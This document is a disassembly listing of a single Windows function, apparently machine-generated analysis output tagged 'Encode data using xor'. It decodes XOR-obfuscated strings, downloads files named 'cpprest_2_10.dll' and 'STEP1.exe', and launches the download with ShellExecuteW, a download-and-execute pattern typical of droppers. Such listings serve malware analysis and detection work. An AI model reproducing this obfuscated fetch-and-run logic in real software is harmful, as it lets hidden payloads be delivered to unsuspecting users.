Function at 0x14009f2b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x1400d5040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
call fcn.14009b400
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp word [rax + r8*2], r12w
jne 0x14009ac21
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140006650
nop
movsxd rax, dword [0x1400d50c0]
lea rdx, [rax + rax*4]
shl rdx, 4
add rdx, qword [0x1400ec218]
lea r8, [rbp - 0x60]
mov edx, dword [rdx + 0x20]
lea rcx, [rbp + 0x78]
call fcn.140009e00
nop
lea rcx, [rbp - 0x60]
call fcn.14000f410
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x14009b3b1
call fcn.140003020
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x14009b3b1
call fcn.140003020
cmp eax, 2
je 0x14009b3b7
mov rax, qword [rbp + 0x78]
cmp byte [rax + 0x170], 0
jne 0x14009acca
lea rdx, str.Failed_to_download_cpprest_2_10.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140017250
lea rdx, [0x14001a6f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14009b348
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
movsd xmm1, qword [str.__pf]
movsd qword [rsp + 0x40], xmm1
movzx eax, word [0x1400b54a8]
mov word [rsp + 0x48], ax
cmp byte [0x1400b54a9], 0
je 0x14009ad26
mov byte [rsp + 0x40], 0x53
xor byte [rsp + 0x41], 0x34
xor byte [rsp + 0x42], 0x35
xor byte [rsp + 0x43], 0x36
xor byte [rsp + 0x44], 0x37
xor byte [rsp + 0x45], 0x38
xor byte [rsp + 0x46], 0x39
xor byte [rsp + 0x47], 0x3a
xor byte [rsp + 0x48], 0x3b
xor byte [rsp + 0x49], 0x3c
lea rax, [rsp + 0x40]
mov rbx, rdi
nop
lea rbx, [rbx + 1]
cmp byte [rax + rbx], 0
jne 0x14009ad30
movsd xmm0, qword [str.__pf]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x1400b54a8]
mov word [rsp + 0x58], ax
cmp byte [0x1400b54a9], 0
je 0x14009ad8f
mov byte [rsp + 0x50], 0x53
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rbx + 1]
lea r8, [rsp + 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
cmovo rax, rdi
mov rcx, rax
call fcn.1400a1aec
mov rsi, rax
movsd xmm0, qword [str.__pf]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400b54a8]
mov word [rsp + 0x68], cx
cmp byte [0x1400b54a9], 0
je 0x14009ae1e
mov byte [rsp + 0x60], 0x53
xor byte [rsp + 0x61], 0x34
xor byte [rsp + 0x62], 0x35
xor byte [rsp + 0x63], 0x36
xor byte [rsp + 0x64], 0x37
xor byte [rsp + 0x65], 0x38
xor byte [rsp + 0x66], 0x39
xor byte [rsp + 0x67], 0x3a
xor byte [rsp + 0x68], 0x3b
xor byte [rsp + 0x69], 0x3c
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
lea r9d, [rbx + 1]
lea r8, [rsp + 0x60]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], r12
mov r8, rdi
inc r8
cmp word [rsi + r8*2], 0
jne 0x14009ae50
mov rdx, rsi
lea rcx, [rbp - 0x38]
call fcn.140006650
nop
movsxd rax, dword [0x1400d50c0]
lea rdx, [rax + rax*4]
shl rdx, 4
add rdx, qword [0x1400ec218]
lea r8, [rbp - 0x38]
mov edx, dword [rdx + 0x20]
lea rcx, [rbp + 0x68]
call fcn.140009e00
nop
lea rcx, [rbp - 0x38]
call fcn.14000f410
mov rcx, qword [rbp + 0x68]
test rcx, rcx
je 0x14009b3ab
call fcn.140003020
mov rcx, qword [rbp + 0x68]
test rcx, rcx
je 0x14009b3ab
call fcn.140003020
cmp eax, 2
je 0x14009b3d1
mov rax, qword [rbp + 0x68]
cmp byte [rax + 0x170], 0
jne 0x14009aefa
lea rdx, str.Failed_to_download_STEP1.exe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140017250
lea rdx, [0x14001a6f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14009b315
call fcn.14009b9b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r12
mov qword [rbp], r12
mov r8, rdi
inc r8
cmp word [rax + r8*2], 0
jne 0x14009af11
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140006650
nop
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x88]
call fcn.1400a05f0
nop
lea rcx, [rbp - 0x18]
call fcn.14000f410
mov r14, qword [rbp + 0x98]
test r14, r14
je 0x14009b308
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0xb0]
call fcn.14000c420
nop
lea rdx, [0x1400b51b4]
lea rcx, [rbp + 0xc0]
call fcn.140017250
lea rdx, [0x1400d50e8]
cmp qword [0x1400d5100], 7
cmova rdx, qword [0x1400d50e8]
mov r8, qword [0x1400d50f8]
mov rcx, rax
call fcn.140029450
lea rdx, [0x1400b51b8]
mov rcx, rax
call fcn.140017250
mov rcx, rax
lea rdx, [0x1400b51b4]
call fcn.140017250
movsxd rcx, dword [0x1400d50c0]
lea rdx, [rcx + rcx*4]
shl rdx, 4
add rdx, qword [0x1400ec218]
mov edx, dword [rdx + 0x20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400b51b4]
call fcn.140017250
movsd xmm0, qword [str.__pf]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x1400b54a8]
mov word [rsp + 0x78], ax
cmp byte [0x1400b54a9], 0
je 0x14009b051
mov byte [rsp + 0x70], 0x53
xor byte [rsp + 0x71], 0x34
xor byte [rsp + 0x72], 0x35
xor byte [rsp + 0x73], 0x36
xor byte [rsp + 0x74], 0x37
xor byte [rsp + 0x75], 0x38
xor byte [rsp + 0x76], 0x39
xor byte [rsp + 0x77], 0x3a
xor byte [rsp + 0x78], 0x3b
xor byte [rsp + 0x79], 0x3c
lea rax, [rsp + 0x70]
mov rbx, rdi
nop dword [rax]
lea rbx, [rbx + 1]
cmp byte [rax + rbx], 0
jne 0x14009b060
movsd xmm0, qword [str.__pf]
movsd qword [rbp - 0x80], xmm0
movzx eax, word [0x1400b54a8]
mov word [rbp - 0x78], ax
cmp byte [0x1400b54a9], 0
je 0x14009b0b3
mov byte [rbp - 0x80], 0x53
xor byte [rbp - 0x7f], 0x34
xor byte [rbp - 0x7e], 0x35
xor byte [rbp - 0x7d], 0x36
xor byte [rbp - 0x7c], 0x37
xor byte [rbp - 0x7b], 0x38
xor byte [rbp - 0x7a], 0x39
xor byte [rbp - 0x79], 0x3a
xor byte [rbp - 0x78], 0x3b
xor byte [rbp - 0x77], 0x3c
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rbx + 1]
lea r8, [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r15, eax
mov eax, 2
mul r15
cmovo rax, rdi
mov rcx, rax
call fcn.1400a1aec
mov rsi, rax
movsd xmm0, qword [str.__pf]
movsd qword [rbp - 0x70], xmm0
movzx ecx, word [0x1400b54a8]
mov word [rbp - 0x68], cx
cmp byte [0x1400b54a9], 0
je 0x14009b135
mov byte [rbp - 0x70], 0x53
xor byte [rbp - 0x6f], 0x34
xor byte [rbp - 0x6e], 0x35
xor byte [rbp - 0x6d], 0x36
xor byte [rbp - 0x6c], 0x37
xor byte [rbp - 0x6b], 0x38
xor byte [rbp - 0x6a], 0x39
xor byte [rbp - 0x69], 0x3a
xor byte [rbp - 0x68], 0x3b
xor byte [rbp - 0x67], 0x3c
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
lea r9d, [rbx + 1]
lea r8, [rbp - 0x70]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movabs rax, 0x7ffffffffffffffe
sub rax, r14
cmp rax, 1
jb 0x14009b3eb
lea r9, [rbp + 0x88]
cmp qword [rbp + 0xa0], 7
cmova r9, qword [rbp + 0x88]
mov qword [rsp + 0x30], 1
lea rax, [0x1400aa620]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea rcx, [rbp + 8]
call fcn.140025040
nop
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rsi + r8*2], 0
jne 0x14009b1b0
mov rdx, rsi
lea rcx, [rbp + 8]
call fcn.14000f480
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
lea rcx, [rbp + 8]
call fcn.14000f410
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xb0]
call fcn.14000c330
cmp qword [rax + 0x18], 7
jbe 0x14009b218
mov rax, qword [rax]
lea r8, [rbp + 0x48]
cmp qword [rbp + 0x60], 7
cmova r8, qword [rbp + 0x48]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
mov r9, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, rax
lea rcx, [rbp + 0x28]
call fcn.14000f410
cmp rbx, 0x20
ja 0x14009b267
lea rdx, str.Failed_to_execute_the_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
jmp 0x14009b275
lea rdx, str.File_executed_successfully:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140017250
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 7
mov r8, qword [rbp + 0x58]
cmova rdx, qword [rbp + 0x48]
mov rcx, rax
call fcn.140029450
lea rdx, [0x14001a6f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x48]
call fcn.14000f410
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc8]
call fcn.14000da70
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x148]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x88]
call fcn.14000f410
nop
mov rbx, qword [rbp + 0x70]
test rbx, rbx
je 0x14009b348
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14009b348
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14009b348
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rbp + 0x80]
test rbx, rbx
je 0x14009b37b
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14009b37b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14009b37b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.1400a1650
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400022d0
nop
call fcn.1400022d0
int3
lea rcx, [rbp - 0x60]
call fcn.140001900
lea rdx, [0x1400d02a8]
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [rbp - 0x60]
call fcn.140001900
lea rdx, [0x1400d02a8]
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.1400013f0
int3
sub rsp, 0x78
test dl, dl
je 0x14009c7b1
add rsp, 0x78
jmp 0x14009abc0
movups xmm0, xmmword [0x1400b5478]
mov eax, dword [0x1400b5498]
xor ecx, ecx
cmp dword [0x1400d5088], 2
movups xmm1, xmmword [0x1400b5488]
mov qword [rsp + 0x80], rbx
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x50], eax
movups xmmword [rsp + 0x40], xmm1
jl 0x14009c929
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400b5aa0]
movdqa xmm4, xmmword [0x1400b5c90]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [str.44445555]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b5b60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b5b60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x14009c820
movaps xmm6, xmmword [rsp + 0x60]
cmp ecx, 0x24
jge 0x14009c96d
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x24
jl 0x14009c940
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14009c980
mov rax, qword [0x1400d5160]
mov qword [rsp + 0x70], rdi
cmp rbx, rax
ja 0x14009c9da
cmp rax, 0xf
mov qword [0x1400d5158], rbx
lea rdi, [0x1400d5148]
mov r8, rbx
cmova rdi, qword [0x1400d5148]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x80]
add rsp, 0x78
ret
lea r9, [rsp + 0x30]
mov rdx, rbx
lea rcx, [0x1400d5148]
call fcn.14002fac0
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x80]
add rsp, 0x78
ret
movzx edx, byte [rdx]
jmp 0x14009c7a0